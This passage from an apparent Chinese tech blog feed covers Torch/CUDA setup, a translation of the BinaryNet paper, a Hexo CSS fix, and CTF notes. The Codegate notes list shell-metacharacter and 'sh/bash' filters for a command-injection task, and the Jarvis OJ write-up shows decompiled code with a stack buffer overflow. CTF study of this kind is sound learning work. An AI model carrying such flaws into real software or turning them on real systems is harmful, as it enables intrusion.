href="https://raw.githubusercontent.com/eladhoffer/DataProvider.torch/master/dataprovider-scm-1.rockspec">https://raw.githubusercontent.com/eladhoffer/DataProvider.torch/master/dataprovider-scm-1.rockspec</a></p></li><li><p>cudnn.torch</p><p> cuda: <a href="https://developer.nvidia.com/cuda-downloads">https://developer.nvidia.com/cuda-downloads</a><br> sudo apt-get update<br> sudo apt-get install cuda<br> nvidia-smi<br> luarocks install cutorch<br> luarocks install cunn<br> th -e “require ‘cutorch’; require ‘cunn’; print(cutorch)”</p><p> tar -xzvf cudnn-8.0-linux-x64-v5.1.tgz<br> sudo cp cuda/lib64/libcudnn* /usr/local/cuda-8.0/lib64/<br> sudo cp cuda/include/cudnn.h /usr/local/cuda-8.0/include/<br> luarocks install cudnn<br> th neural_style.lua -gpu 0 -backend cudnn<br> cd ~/torch<br> ./test.sh<br> refer: <a href="https://blog.csdn.net/hungryof/article/details/51557666">https://blog.csdn.net/hungryof/article/details/51557666</a></p></li><li><p>dp</p><p> luarocks install dp<br> <a href="https://github.com/nicholas-leonard/dp">https://github.com/nicholas-leonard/dp</a></p></li><li><p>unsup</p><p> luarocks install unsup<br> <a href="https://github.com/koraykv/unsup">https://github.com/koraykv/unsup</a></p></li></ul><h1 id="train"><a href="#train" class="headerlink" title="train"></a>train</h1><p>Create pre-processing folder:</p><pre><code>cd BinaryNetmkdir PreProcData</code></pre><p>Start training using:</p><pre><code>th Main_BinaryNet_Cifar10.lua -network BinaryNet_Cifar10_Model</code></pre><p>or,</p><pre><code>th Main_BinaryNet_MNIST.lua -network BinaryNet_MNIST_Model</code></pre><p>MNIST : 手写数字数据集</p><p>CIFAR-10 : 10种图片的分类</p><p>SVHN : 街景数据</p><h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><p>基于<a href="https://github.com/eladhoffer/convNet.tf">https://github.com/eladhoffer/convNet.tf</a></p><h1 id="论文翻译"><a href="#论文翻译" class="headerlink" title="论文翻译:"></a>论文翻译:</h1><p>Binarized Neural Networks: Training Neural Networks with Weights and Activations Constrained to +1 or −1<br>二值化神经网络: 训练权值和激活限制在+1和-1的神经网络</p><h1 id="摘要"><a href="#摘要" class="headerlink" title="摘要:"></a>摘要:</h1><p>本文介绍了一种训练二值化神经网络(BNNs)的方法,即在运行时训练具有二值权值和激活量的神经网络<br>在训练时,用二元权值和激活量计算参数梯度。在正向传播中,BNNs大大减小了内存大小和访问次数<br>并将大部分算术运算替换为逐位运算,有望大幅度提高电能效率<br>我们在Torch7和Theano框架上验证的有效性<br>在这两个实验中,BNNs用MNIST、CIFAR-10和SVHN数据集都取得了近乎最先进的成果<br>最后,我们写了一个二元矩阵乘法GPU内核,它运行我们的MNIST BNN的速度比使用未优化的GPU内核快7倍<br>而且在分类精度上没有任何损失。我们的BNNs的训练和运行代码可以在线获得</p><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍:"></a>介绍:</h1><p>深度神经网络(DNNs)在各种任务中大大推进了人工智能(AI)的限制,包括但不限于图像中的目标识别(Krizhevsky et al., 2012;Szegedy等,2014),语音识别(Hinton等,2012;Sainath等人,2013),统计机器翻译(Devlin et al., 2014; Sutskever et al., 2014; Bahdanau et al., 2015),雅达利和GO游戏(Mnih et al., 2015; Silver et al., 2016), 甚至抽象艺术(Mordvintsev et al., 2015)。<br>如今,DNNs几乎只接受一个或多个非常快速且耗电的图形处理训练设备(gpu) (Coates et al., 2013)。因此,在目标为低功耗设备上运行DNNs常常是一个挑战,大量的研究工作被投入到在运行时加速这两种通用DNNs和专业计算硬件上</p><h1 id="本文贡献如下"><a href="#本文贡献如下" class="headerlink" title="本文贡献如下:"></a>本文贡献如下:</h1><ul><li>我们介绍了一种在运行时训练二值化神经网络(BNN),具有二进制权重和激活的神经网络,以及在训练时计算参数梯度的方法(参见第1节)。</li><li>我们进行了两组实验,每组实验都在不同的框架上实施,即Torch7(Collobert等,2011)和heano(Bergstra等,2010; Bastien等,2012),它们表明可以训练 关于MNIST,CIFAR-10和SVHN的BNN,并取得了近乎最先进的结果(参见第2节)</li><li>我们展示了在正向传递期间(在运行时和训练时),BNN大大减少了内存消耗(访问的内存大小和数量),并用位操作替换了大多数算术运算,这可能导致功效的大幅增加(见第3节)。 而且,二值化的CNN可以导致二进制卷积核重叠; 我们认为专用硬件可以将时间复杂度降低60%</li><li>最后但并非最不重要的是,我们编写了一个二进制矩阵乘法GPU内核,使用该内核可以比未经优化的GPU内核运行我们的MNIST BNN快7倍,而不会损失分类精度(参见第4节)。</li><li>训练和运行我们的BNN的代码可在线获得(在Theano框架1和Torch框架2中)。</li></ul><h1 id="1-二值化神经网络"><a href="#1-二值化神经网络" class="headerlink" title="1. 二值化神经网络"></a>1. 二值化神经网络</h1><p>在本节中,我们详细介绍了二值化函数,展示了我们如何使用它来计算参数梯度,以及我们如何反向传播它。</p><h2 id="1-1。-确定性与随机二值化"><a href="#1-1。-确定性与随机二值化" class="headerlink" title="1.1。 确定性与随机二值化"></a>1.1。 确定性与随机二值化</h2><p>在训练BNN时,我们将权重和激活约束为+1或-1。 从硬件的角度来看,这两个值是非常有利的,正如我们在第4节中解释的那样。<br>为了将实值变量转换为这两个值,我们使用两个不同的二值化函数,如(Courbariaux等,2015)。 </p><p>我们的第一个二值化函数是确定性的</p><p>$x^b = Sign(x) = \begin{cases}+1\quad if\ x \geq 0\-1\quad otherwise\end{cases}$</p><p>其中$x^b$是二值化变量(权重或激活),x是实值变量。 实施起来非常简单,并且在实践中运作良好。 </p><p>我们的第二个二值化函数是随机的:</p><p>$x^b = Sign(x) = \begin{cases}+1\quad x的概率 p = σ(x),\-1\quad x的概率\ 1-p\end{cases}$</p><p>σ 是 “hard sigmoid” 函数:</p><p>随机二值化比符号函数更具吸引力,但更难实现,因为它需要硬件在量化时生成随机位。<br>因此,我们大多使用确定性二值化函数(即符号函数),但在我们的一些实验中,在训练时的激活值除外。</p><h2 id="1-2-梯度计算和累积"><a href="#1-2-梯度计算和累积" class="headerlink" title="1.2 梯度计算和累积"></a>1.2 梯度计算和累积</h2><p>虽然我们的BNN训练方法使用二进制加权和激活来计算参数梯度,但是根据算法1,权值的实值梯度累积在实值变量中。<br>实值权重可能是随机梯度下降(SGD)所需的 )工作。 SGD在小的和嘈杂的步骤中探索参数的空间,并且通过在每个权重中累积的随机梯度贡献来平均噪声。 因此,为这些蓄电池保持足够的分辨率非常重要,乍一看这表明绝对需要高精度。</p><p>此外,在计算参数梯度时,为权重和激活添加噪声提供了一种正规化形式,可以帮助更好地推广,如先前所示的变量权重噪声(Graves,2011),Dropout(Srivastava,2013; Srivastava等,2014) )和DropConnect(Wan等,2013)。<br>我们训练BNN的方法可以看作是Dropout的一种变体,在计算参数梯度时,我们不是将激活的一半随机设置为零,而是将激活和权重二进制化。</p><h2 id="1-3-通过离散化传播梯度"><a href="#1-3-通过离散化传播梯度" class="headerlink" title="1.3 通过离散化传播梯度"></a>1.3 通过离散化传播梯度</h2><p>符号函数的导数处处为零,使其显然与反向传播不相容,因为相对于离散化之前的量(预激活或权重)的成本的精确梯度将为零。<br>注意,即使使用随机量化,这仍然是正确的。<br>Bengio(2013)研究了通过随机离散神经元估计或传播梯度的问题。<br>他们在实验中发现,使用“直通估算器”时,获得了最快速的训练,此前曾在Hinton(2012)的讲座中介绍过。<br>我们遵循类似的方法,但使用考虑饱和效应的直通估计器的版本,并且确实使用比特的确定性而非随机抽样。 考虑符号函数量化</p><p>q = Sign(r)</p><p>并假设已经获得了梯度∂C/∂q的估计量gq(在需要时使用直通估计器)。 然后,我们直接估算的∂C∂r就是这么简单</p><p>gr = gq1|r|≤1.</p><p>请注意,这会保留渐变的信息,并在r过大时取消渐变。 当r太大时不取消梯度会显着恶化性能。 算法1中说明了这种直通估计器的使用</p><p>导数1 | r |≤1也可以看作是通过hard tanh传播梯度,这是下面的分段线性激活函数:</p><p>Htanh(x) = Clip(x, −1, 1) = max(−1, min(1, x)). (5)</p><p>对于隐藏单元,我们使用符号函数非线性来获得二元激活,对于权重,我们将两个成分组合在一起:</p><p>根据算法1,当权重更新使得wr超出[-1,1],即在训练期间剪切权重时,将每个实值权重约束在-1和1之间,通过将wr投影到-1或1。 否则,评估的权重会变得非常大,而不会对二进制权重产生任何影响。</p><p>使用权重wr时,使用wb = Sign(wr)对其进行量化。<br>这与| wr |时的梯度取消一致 > 1,根据Eq。4。</p><h2 id="1-4-基于移位的批量标准化-SBN"><a href="#1-4-基于移位的批量标准化-SBN" class="headerlink" title="1.4 基于移位的批量标准化(SBN)"></a>1.4 基于移位的批量标准化(SBN)</h2><p>批量标准化(BN)(Ioffe&Szegedy,2015),加速了训练,似乎也降低了权重规模的整体影响。<br>归一化噪声也可能有助于使模型正规化。 然而,在训练时,BN需要很多乘法(计算标准偏差并除以它),即除以运行方差(训练集激活方差的加权平均值)。 尽管缩放计算的数量与神经元的数量相同,但在ConvNets的情况下,这个数字非常大。 例如,在CIFAR-10数据集(使用我们的架构)中,第一个卷积层(仅由128×3×3滤镜掩码组成)将大小为3×32×32的图像转换为3×128×28×28的大小 ,这比权重的数量大两个数量级。<br>为了实现BN将获得的结果,我们使用基于移位的批量归一化(SBN)技术。 在算法3中有详细描述.<br>SBN几乎没有乘法但是结果却接近BN的结果</p><p>在我们进行的实验中,当使用基于移位的BN算法而不是普通BN算法时,我们没有观察到精度损失。</p><h2 id="1-5-基于移位的AdaMax-SAdaMax"><a href="#1-5-基于移位的AdaMax-SAdaMax" class="headerlink" title="1.5 基于移位的AdaMax(SAdaMax)"></a>1.5 基于移位的AdaMax(SAdaMax)</h2><p>ADAM学习规则(Kingma&Ba,2014)似乎也减少了权重规模的影响。 由于ADAM需要多次乘法,我们建议使用算法4中详述的基于移位的AdaMax。<br>我们进行的实验中,我们没有观察到使用基于移位的AdaMax算法而不是普通ADAM算法时的精度损失</p><h2 id="1-6-第一层"><a href="#1-6-第一层" class="headerlink" title="1.6 第一层"></a>1.6 第一层</h2><p>在BNN中,在所有计算中仅使用权重和激活的二值化值。 由于一层的输出是下一层的输入,所有层输入都是二进制的,但第一层除外。 但是,我们认为这不是一个重大问题。 首先,在计算机视觉中,输入表示通常具有比内部表示(例如,512)少得多的通道(例如,红色,绿色和蓝色)。 因此,ConvNet的第一层通常是最小的卷积层,无论是参数还是计算(Szegedy等,2014)。其次,将连续值输入作为定点数处理相对容易, 具有m位精度。 例如,在8位定点输入的常见情况下:</p><p>其中x是1024个8位输入的向量,x是第一个输入的最高有效位,wb是1024个1位权重的向量,s是得到的加权和。 算法5中使用了这个技巧。</p><h1 id="2-基准测试结果"><a href="#2-基准测试结果" class="headerlink" title="2 基准测试结果"></a>2 基准测试结果</h1><p>我们进行了两组实验,每组都基于不同的框架,即Torch7(Collobert等,2011)和Theano(Bergstra等,2010; Bastien等,2012)。 除了框架,两组实验非常相似:</p><p>在两组实验中,我们使用MNIST,CIFAR-10和SVHN基准数据集上的BNN获得接近最先进的结果。</p><p>在我们的Torch7实验中, 训练时的激活都是随机二值化, 而在我们的Theano实验中他们是确定性的二值化</p><p>在我们的Torch7实验中, 我们用了基于位移的BN和AdaMax(算法3和4), 而在Theano中使用的是常规的BN和AdaMax算法</p><h1 id="2-1-MLP-on-MNIST-Theano"><a href="#2-1-MLP-on-MNIST-Theano" class="headerlink" title="2.1. MLP on MNIST (Theano)"></a>2.1. MLP on MNIST (Theano)</h1><p>MNIST是图像分类基准数据集(LeCun等,1998)。 它包括一个60K的训练集和一个10K 28×28灰度图像的测试集,表示从0到9的数字。为了使这个基准仍然是一个挑战,我们没有使用任何卷积,数据增强, 预处理或无监督学习。</p><p>我们在MNIST上训练的MLP包括3个4096个二进制单元的隐藏层(见第1节)和L2-SVM输出层;已经证明L2-SVM在几个分类基准测试中表现优于Softmax(Tang,2013; Lee等,2014)。我们使用Dropout对模型进行规范化(Srivastava,2013; Srivastava等,2014)。使用ADAM自适应学习速率方法最小化方形铰链损耗(Kingma&Ba,2014)。根据算法1,我们使用指数衰减的全局学习率,并且还根据Courbariaux等人的建议,用(Glorot&Bengio,2010)的初始化系数来衡量权重的学习率。 (2015年)。我们使用批量标准化和大小为100的小批量来加速培训。通常,我们使用训练集的最后10K样本作为早期停止和模型选择的验证集。我们报告在1000个时期之后与最佳验证错误率相关联的测试错误率(我们不在验证集上重新训练)。结果报告在表1中。</p><h1 id="2-2-MLP-on-MNIST-Torch7"><a href="#2-2-MLP-on-MNIST-Torch7" class="headerlink" title="2.2. MLP on MNIST (Torch7)"></a>2.2. MLP on MNIST (Torch7)</h1><p>我们使用与Theano实验类似的架构,不使用dropout,每层使用2048个二进制单元而不是4096.此外,我们使用Shift-based AdaMax和BN(使用大小为100的小批量)代替普通实现, 减少乘法次数。 同样,我们通过每10个时期使用1位右移来衰减学习速率。 结果列于表1中</p><h1 id="2-3-ConvNet-on-CIFAR-10-Theano"><a href="#2-3-ConvNet-on-CIFAR-10-Theano" class="headerlink" title="2.3. ConvNet on CIFAR-10 (Theano)"></a>2.3. ConvNet on CIFAR-10 (Theano)</h1><p>CIFAR-10是图像分类基准数据集。它包括一个50K的训练集和一个10K的测试集,其中实例是32×32彩色图像,代表飞机,汽车,鸟类,猫,鹿,狗,青蛙,马,船和卡车。我们不使用任何预处理或数据扩充(这实际上可以改变这个数据集的游戏规则(Graham,2014))。除了激活的二值化之外,我们的ConvNet架构与?的架构相同。 Courbariaux等。 (2015)的架构本身主要受到VGG的启发(Simonyan&Zisserman,2015)。使用ADAM可以最大限度地减少方铰链损耗。我们使用指数衰减学习率,就像我们为MNIST所做的那样。我们根据(Glorot&Bengio,2010)的初始化系数来衡量权重的学习率。我们使用批量标准化和大小为50的小批量来加速培训。我们使用训练集的最后5000个样本作为验证集。我们在500个训练时期之后报告与最佳验证错误率相关的测试错误率(我们不在验证集上重新训练)。结果列于表1和图1中。</p><h1 id="2-4-ConvNet-on-CIFAR-10-Torch7"><a href="#2-4-ConvNet-on-CIFAR-10-Torch7" class="headerlink" title="2.4. ConvNet on CIFAR-10 (Torch7)"></a>2.4. ConvNet on CIFAR-10 (Torch7)</h1><p>我们使用与Theano实验相同的架构。 我们应用基于移位的AdaMax和BN(使用大小为200的小批量)而不是普通算法实现来减少乘法次数。 同样,我们通过每50个时期使用1位右移来衰减学习速率。 结果列于表1和图1中。</p><h1 id="2-5-ConvNet-on-SVHN"><a href="#2-5-ConvNet-on-SVHN" class="headerlink" title="2.5. ConvNet on SVHN"></a>2.5. ConvNet on SVHN</h1><p>SVHN也是图像分类基准数据集。 它由一个大小为604K的训练集和一个大小为26K的测试集组成,其中实例是32×32彩色图像,表示从0到9的数字。在两组实验中,我们遵循与CIFAR相同的程序 - 10个实验,有一些值得注意的例外:我们使用卷积层中单位数量的一半,我们训练200个时期而不是500个(因为SVHN是比CIFAR-10大得多的数据集)。 结果列于表1中。</p><h1 id="3-正向传播时非常节能"><a href="#3-正向传播时非常节能" class="headerlink" title="3. 正向传播时非常节能"></a>3. 正向传播时非常节能</h1><p>计算机硬件,无论是通用的还是专用的,都由存储器,算术运算器和控制逻辑组成。 在正向传播期间(在运行时和训练时),BNN大大减少了存储器大小和访问,并且通过逐位操作替换了大多数算术运算,这可能导致功率效率的大幅提高。 此外,二进制化的CNN可能导致二进制卷积内核重复,我们认为专用硬件可以将时间复杂度降低60%。</p><h1 id="3-1-内存大小和访问次数"><a href="#3-1-内存大小和访问次数" class="headerlink" title="3.1. 内存大小和访问次数"></a>3.1. 内存大小和访问次数</h1><p>提高计算性能始终是一项挑战。 在过去十年中,电力一直是能效的主要制约因素(Horowitz,2014)。 这就是为什么许多研究工作致力于减少神经网络的能量消耗的原因。 Horowitz(2014)提供了计算能耗的粗略数字(给定数字用于45nm技术),如表2和表3所示。重要的是,我们可以看到内存访问通常比算术运算和内存访问消耗更多的能量。 内存大小增加了成本。 与32位DNN相比,BNN减少了32倍的内存大小和32倍的内存访问。 预计这将大大减少能量消耗(即,超过32倍)。</p><h1 id="3-2-异或操作的数量"><a href="#3-2-异或操作的数量" class="headerlink" title="3.2 异或操作的数量"></a>3.2 异或操作的数量</h1><p>应用DNN主要包括卷积和矩阵乘法。 因此,深度学习的关键算术运算是乘法累加运算。 人工神经元基本上是乘法累加器,计算其输入的加权和。 在BNN中,激活和权重都被约束为-1或+1。 结果,大多数32位浮点乘积累被1位XNOR计数操作所取代。 这可能会对深度学习专用硬件产生重大影响。 例如,32位浮点乘法器需要大约200个Xilinx FPGA片段(Govindu等人,2004; Beauchamp等人,2006),而1位XNOR门只需要一个片段。</p><h1 id="3-3-利用过滤器重复"><a href="#3-3-利用过滤器重复" class="headerlink" title="3.3. 利用过滤器重复"></a>3.3. 利用过滤器重复</h1><p>使用具有二进制权重的ConvNet体系结构时,唯一过滤器的数量受过滤器大小的限制。<br>例如,在我们的实现中,我们使用大小为3×3的滤波器,因此唯一2D滤波器的最大数量是29 = 512.但是,这不应该阻止扩展超出此数量的特征映射的数量,因为实际的滤波器是3D矩阵。假设我们在卷积层中有M个滤波器,我们必须存储大小为M<code>×M</code>-1×k×k的4D权重矩阵。<br>因此,唯一滤波器的数量是2 k 2M`-1。必要时,我们在图上应用每个过滤器并执行所需的乘法累加(MAC)操作(在我们的例子中,使用XNOR和popcount操作)。由于我们现在有二进制滤波器,因此许多大小为k×k的2D滤波器会重复。通过使用专用硬件/软件,我们可以在每个要素图上仅应用唯一的2D滤波器,并明智地对结果进行求和,以接收每个3D滤波器的卷积结果。注意,逆滤波器(即,[ - 1,1,-1]是[1,-1,1]的倒数)也可以被视为重复;它只是原始滤波器乘以-1。例如,在我们使用CIFAR-10基准测试培训的ConvNet架构中,每层平均只有42%的独特过滤器。因此,我们可以将XNORpopcount操作的数量减少3。</p><h1 id="4-在GPU上运行时快7倍"><a href="#4-在GPU上运行时快7倍" class="headerlink" title="4. 在GPU上运行时快7倍"></a>4. 在GPU上运行时快7倍</h1><p>通过在寄存器(SWAR)中使用有时称为SIMD(单指令,多数据)的方法,可以加速BNN的GPU实现。 SWAR的基本思想是将32个二进制变量的组连接成32位寄存器,从而在按位运算(例如,XNOR)上获得32倍的加速。使用SWAR,可以仅用3条指令评估32个连接:a1 + = popcount(xnor(a 32b 0,w32b 1)),(8)其中a1是结果加权和,32b 0和w 32b 1是连接的输入和权重。这3条指令(accum,popcount,xnor)在最近的Nvidia GPU上需要1 + 4 + 1 = 6个时钟周期(如果它们成为融合指令,则只需要一个时钟周期)。因此,我们获得了理论上的Nvidia GPU加速因子为32 /6≈5.3。在实践中,这种加速很容易获得,因为存储器带宽与计算比率也增加了6倍。为了验证这些理论结果,我们编写了程序<br>两个GPU内核:</p><p>•第一个内核(基线)是一个非常优化的矩阵乘法内核。<br>•第二个内核(XNOR)与基线内核几乎完全相同,只是它使用SWAR方法,如公式(8)所示。</p><p>当它们的输入被约束为-1或+1时,两个GPU内核返回相同的输出(但不是其他情况)。 XNOR内核比基线内核快23倍,比cuBLAS快3.4倍,如图3所示。最后但并非最不重要的是,第2节中的MLP使用XNOR内核比基线内核运行快7倍,没有 遭受分类准确性的任何损失(见图3)。</p><h1 id="5-讨论和相关工作"><a href="#5-讨论和相关工作" class="headerlink" title="5.讨论和相关工作"></a>5.讨论和相关工作</h1><p>直到最近,极低精度网络(在极端情况下为二进制)的使用被认为对网络性能具有高度破坏性(Courbariaux等,2014)。 Soudry等人。 (2014); ?通过表明即使所有神经元和重量都被二值化为±1,也可以实现良好的性能。这是使用期望反向传播(EBP)进行的,这是一种变分贝叶斯方法,通过更新权重上的后验分布来推断具有二元权重和神经元的网络。通过经由反向传播(BP)算法区分它们的参数(例如,平均值)来更新这些分布。 Esser等。(2015)在运行时使用非常类似的EBP方法实现了完全二进制网络,显示出能效的显着提高。 EBP的缺点是二值化参数仅在推理期间使用。 </p><p>EBP背后的概率思想在Courbariaux等人的BinaryConnect算法中得到了扩展。(2015年)。在BinaryConnect中,权重的实值版本被保存并用作二值化过程的关键参考。二值化噪声在不同权重之间是独立的,可以通过构造(通过使用随机量化)或通过假设(常见的简化;参见Spang(1962)。)噪声对下一个神经元的输入几乎没有影响,因为输入是总和因此,通过简单地忽略更新中的二值化噪声,可以通过反向传播的误差来更新实值版本。使用这种方法,Courbariaux等人(2015)是第一个将CNN中的权重二值化并实现的, 他们还认为,噪声权重提供了一种正则化形式,这有助于改善泛化,如先前所示(Wan et al。,2013)。这种方法在保持权重的同时保持了权重完全精确的神经元</p><p>.Lin等人(2015)通过量化网络每一层的表示,将Courbariaux等人(2015)的工作延伸到反向传播过程,通过限制两个幂的整数的神经元值,将一些剩余的乘法转换成二进制移位。林等人。 (2015)我们的工作似乎具有相似的特征。但是,他们的方法在测试阶段继续使用全精度重量。此外,林等人。 (2015)仅在反向传播过程中量化神经元,而不是在前向传播期间量化神经元。</p><p>其他研究(Baldassi等,2015)表明,在具有随机输入的委员会机器阵列中可以进行完全二元训练和测试,其中仅调整一个权重层。 Judd等人。和Gonget al。旨在通过使用量化或矩阵分解方法来压缩完全训练的高精度网络。这些方法需要用全精度权重和神经元训练网络,因此需要通过所提出的BNN算法避免许多MAC操作。 Hwang&Sung(2014)专注于定点神经网络设计,其性能几乎与浮点结构相同。 Kim等人。 (2014)提供的证据表明,在专用电路上使用的具有三重权重的DNN在运行时消耗非常低的功率并且可以仅用片上存储器操作。 Sunget al。还表明了具有8位精度的神经网络的令人满意的经验性能。 Kim&Paris(2015)用二进制权重和激活重新训练神经网络。</p><p>到目前为止,据我们所知,在深度网络的推理阶段和整个训练阶段,没有任何工作成功地对权重和神经元进行二值化。这是在目前的工作中实现的。我们依赖于二值化可以随机进行,或近似为随机噪声的想法。这是以前由Courbariaux等人对重量进行的。 (2015年),但我们的BNN将此扩展到激活。请注意,二进制激活对于ConvNets尤其重要,其中通常存在比自由权重更多的神经元。这允许二进制化DNN在运行时和训练期间的前向传播阶段的高效操作。此外,我们的训练方法几乎没有乘法,因此可以在专用硬件中有效地实现。但是,我们必须保存全精度权重的值。这是训练期间剩余的计算瓶颈,因为它需要相对较高的能量资源。未来可能会使用新型存储设备来缓解这个问题;见例如(Soudry等人)。</p><h1 id="6-结论"><a href="#6-结论" class="headerlink" title="6. 结论"></a>6. 结论</h1><p>我们在运行时引入了BNN,具有二进制权重和激活的DNN,并且在训练时计算参数梯度(参见第1节)。我们在两个不同的框架上进行了两组实验,即Torch7和Theano,它们表明可以在MNIST,CIFAR-10和SVHN上训练BNN,并获得近乎最先进的结果(参见第2节) 。<br>此外,在前向传递期间(在运行时和训练时),BNN大大减少了存储器大小和访问,并且通过逐位操作取代了大多数算术运算,这可能导致功率效率的大幅提升(参见第3节)。<br>最后但并非最不重要的是,我们编写了一个二进制矩阵乘法GPU内核,使用它可以比未经优化的GPU内核快7倍地运行我们的MNIST MLP,而不会损失分类精度(参见第4节)。<br>未来的工作应该探索如何将加速扩展到训练时间(例如,通过二值化一些梯度),并且还将基准测试结果扩展到其他模型(例如,RNN)和数据集(例如,ImageNet)。</p><h1 id="7-致谢"><a href="#7-致谢" class="headerlink" title="7. 致谢"></a>7. 致谢</h1><p>我们对Elad Hoffer的技术援助和建设性意见表示赞赏。 我们感谢我们的MILA实验室成员,他们花时间阅读文章并给我们一些反馈。 我们感谢Torch的开发人员(Collobert等人,2011)基于Lua的环境,以及Theano(Bergstra等人,2010; Bastien等人,2012),这是一个允许我们轻松开发快速和优化的GPU代码。 我们还要感谢Pylearn2(Goodfellow等人,2013)和Lasagne(Dieleman等人,2015)的开发人员,这两个深度学习库建立在Theano之上。 我们感谢Yuxin Wu帮助我们将GPU内核与cuBLAS进行比较。 我们也感谢来自CIFAR,NSERC,IBM,三星和以色列科学基金会(ISF)的资助。</p><p>参考文献:<br><a href="http://kns.cnki.net/kcms/detail/detail.aspx?filename=NGZK201801001&dbcode=CJFQ&dbname=CJFD2018&v=">http://kns.cnki.net/kcms/detail/detail.aspx?filename=NGZK201801001&dbcode=CJFQ&dbname=CJFD2018&v=</a></p><p>目录结构:</p><ul><li>第一章 绪论<ul><li>论文背景及意义</li><li>深度神经网络在低功率设备上的应用</li><li>论文内容安排</li></ul></li><li>第二章 二值化神经网络的方式简介<ul><li>确定性与非确定性的二值化</li><li>梯度计算和累加</li><li>通过离散化传播梯度</li></ul></li><li>第三章 二值化神经网络的程序设计<ul><li>程序框架概述<ul><li>程序开发环境 - tensorflow pycharm ubuntu python</li><li>程序架构 - convnet files</li></ul></li></ul></li><li>第四章 实验结果分析<ul><li>准确率比较</li><li>内存占用情况和内存访问次数比较</li><li>功耗计算</li></ul></li><li>第五章 工作展望</li><li>结论<ul><li>更低的能耗</li><li>更快的运行速度</li><li>随机二值化</li></ul></li><li>致谢</li></ul>]]></content>
</entry>
<entry>
<title>Hexo Cactus主题主页有滚动条的解决方法</title>
<link href="/2019/01/27/hexo-cactus%E4%B8%BB%E9%A2%98%E4%B8%BB%E9%A1%B5%E6%9C%89%E6%BB%9A%E5%8A%A8%E6%9D%A1%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/"/>
<url>/2019/01/27/hexo-cactus%E4%B8%BB%E9%A2%98%E4%B8%BB%E9%A1%B5%E6%9C%89%E6%BB%9A%E5%8A%A8%E6%9D%A1%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</url>
<content type="html"><![CDATA[<p><img src="/images/hexo-cactus主题主页有滚动条的解决方法/1.png" alt=""></p><p>如图所示, cactus主题的hexo博客建立起来以后会有一个滚动条可以上下微微滚动, 本强迫症非常难受</p><p>搜了一波解决方案:</p><p><a href="https://www.thinkcss.com/css/921.shtml">https://www.thinkcss.com/css/921.shtml</a></p><pre><code>要实现最外层div高度为100%(百分之百关键对html和body要设置高度100%如果只设置html和body标签其中一个高100%,也是无法实现body内第一个盒子高度100%的。但由于body默认有一定margin值,但设置body高度height 100%后,浏览器就会出现滚动条,所以可以对body设置margin为零,去除间距实现div height 100%也无滚动条效果。</code></pre><p>打开hexo的文件夹, 在 <code>./themes/cactus/source/css/style.styl</code> 文件里</p><p>body下加一行 <code>margin: 0</code> 即可解决</p><p><img src="/images/hexo-cactus主题主页有滚动条的解决方法/2.png" alt=""></p><p><img src="/images/hexo-cactus主题主页有滚动条的解决方法/3.png" alt=""></p><hr><p>已合并到master</p>]]></content>
<tags>
<tag> 博客 </tag>
</tags>
</entry>
<entry>
<title>Codegate CTF 2019</title>
<link href="/2019/01/26/Codegate-CTF-2019/"/>
<url>/2019/01/26/Codegate-CTF-2019/</url>
<content type="html"><![CDATA[<h1 id="签到题"><a href="#签到题" class="headerlink" title="签到题"></a>签到题</h1><p>base85一把梭</p><h1 id="KingMaker"><a href="#KingMaker" class="headerlink" title="KingMaker"></a>KingMaker</h1><h1 id="20000"><a href="#20000" class="headerlink" title="20000"></a>20000</h1><p>给了20k个.so文件, 然后用一个程序去调用, 分类一波以后一共如下四种:</p><ol><li>filter1<br> 过滤了;, *, |, &, $, `, >, <, r</li><li>filter2<br> 过滤了v, m, p, d, n, bin, sh, bash, f, l, g </li><li>test1 <figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="built_in">memset</span>(&buf, <span class="number">0</span>, <span class="number">0x30</span>uLL);</span><br><span class="line">v2 = <span class="number">0</span>;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"This is lib_100 file."</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"How do you find vulnerable file?"</span>);</span><br><span class="line"><span class="built_in">read</span>(<span class="number">0</span>, &buf, <span class="number">0x32</span>uLL);</span><br><span class="line">system(<span class="string">"exit"</span>);</span><br></pre></td></tr></table></figure></li><li>test2<br> 用filter1和filter2过滤后, 执行system(“ls \”input\”)</li></ol><p>看起来似乎是命令注入</p>]]></content>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>Jarvis Oj Pwn 做题记录</title>
<link href="/2019/01/24/jarvis-oj-pwn-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
<url>/2019/01/24/jarvis-oj-pwn-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<h2 id="0x01-tell-me-something-Point-100"><a href="#0x01-tell-me-something-Point-100" class="headerlink" title="0x01 tell me something Point:100"></a>0x01 tell me something Point:100</h2><p>checksec:</p><pre><code>Arch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)</code></pre><p>很明显的漏洞点:<br><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v4; <span class="comment">// [rsp+0h] [rbp-88h]</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">write</span>(<span class="number">1</span>, <span class="string">"Input your message:\n"</span>, <span class="number">20u</span>LL);</span><br><span class="line"> <span class="built_in">read</span>(<span class="number">0</span>, &v4, <span class="number">256u</span>LL);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">write</span>(<span class="number">1</span>, <span class="string">"I have received your message, Thank you!\n"</span>, <span class="number">0x29</span>uLL);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>read处读取了256个字符, 但是<br><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">.text:00000000004004E0 ; int __cdecl main(int argc, const char **argv, const char **envp)</span><br><span class="line">.text:00000000004004E0 public main</span><br><span class="line">.text:00000000004004E0 main proc near ; DATA XREF: _start+1D↓o</span><br><span class="line">.text:00000000004004E0 ; __unwind {</span><br><span 